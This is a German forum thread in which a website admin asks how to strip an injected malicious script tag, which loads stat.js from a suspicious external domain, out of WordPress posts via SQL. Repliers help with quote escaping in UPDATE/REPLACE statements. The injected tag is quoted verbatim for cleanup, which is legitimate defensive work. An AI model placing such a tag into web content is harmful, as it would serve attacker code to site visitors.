Wordpress Malware?
In meiner Datenbank in wp_post steht folgendes
<script src='https://https;//main.travelfornamewalking.ga/stat.js?s=newrq' type='text/javascript'></script>
habe es mit dem befehl:
UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src='https://https;//main.travelfornamewalking.ga/stat.js?s=newrq' type='text/javascript'></script>",'') WHERE post_content LIKE '%travelfornamewalking%'
versucht, aber dann kommt die fehlermeldung:
#1064 - Fehler in der SQL-Syntax. Bitte die korrekte Syntax im Handbuch nachschlagen bei '"<script src='https://https)' in Zeile 1
wegen dem semikolon nach dem zweiten https.
wie bekomme ich das aus mneiner datenbank?
1 Antwort
Der Fehler ist meines Erachtens nciht der Strichpunkt sondern die Anführungszeichen. Die musst du escapen, damit deren Sonderfunktion nicht schlagend wird. Ersetze
"<script src='https://https;//main.travelfornamewalking.ga/stat.js?s=newrq' type='text/javascript'></script>"
durch
'<script src=\'https://https;//main.travelfornamewalking.ga/stat.js?s=newrq\' type=\'text/javascript\'></script>'
das sollte dann klappen.
Grundsätzlich solltest du in mySQL eher auf einfache Anführungszeichen ( ' ) statt doppelter Anführungszeichen ( " ) setzen weil die doppelten eigentlich nur als Datenbank-Identifier gedacht sind. Man kann es zwar aktivieren, dass es auch für Strings funktioniert, aber es ist natürlich einfacher sich einen Stil anzugewöhnen, der auf jeder mySQL Datenbank funktioniert.
Grad bei mir nochmal getestet und da funktioniert der Befehl. Nur um sicher zu gehen, dass du es nicht falsch kopiert hast:
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://https;//main.travelfornamewalking.ga/stat.js?s=newrq\' type=\'text/javascript\'></script>', '') WHERE post_content LIKE '%travelfornamewalking%'
Ich glaube es dir eh, ist nur interessant weil es bei mir funktioniert. Ich verwende mySQL 8.0.23
Auch bei einem Online-Syntax Checker sagt er, dass das Statement gut ist:
Ich verwalte seit neustem die Webseite von unserem Verein.
Habe alle Login daten bekommen. Wir sind bei Domain Factory, da geht mysql Version aktuell nur bis 5.6.19, hat mich auch gewundert warum.
Ich vermute das das an der Version liegt, denn wenn ich das Semikolon wegnehmen führ der alles ohne Probleme aus. Bringt mi nur leider nichts, da ich da den exakten Inhalt brauche. Und 1064 Einträge manuell zu bearbeiten hab ich eher weniger Lust.
Wow, das ist eigentlich eine Frechheit. Immerhin gibt es die Version 5.6.50, zumindest die sollte man anbieten wenn man schon mySQL 8 nicht unterstützt das vor 2 Jahren rausgekommen ist.
Nachdem du ja immer den selben Text hast könntest du es auch umgehen indem du z.B. Substring verwendest:
Replace (SUBSTRING(post_content, POSITION('<script src=\'https://https' in post_content), 111), '')
Prüfe aber vorher mit einem select-Statement ob das so funktioniert.
trotzdem zeigt er mir noch den fehler an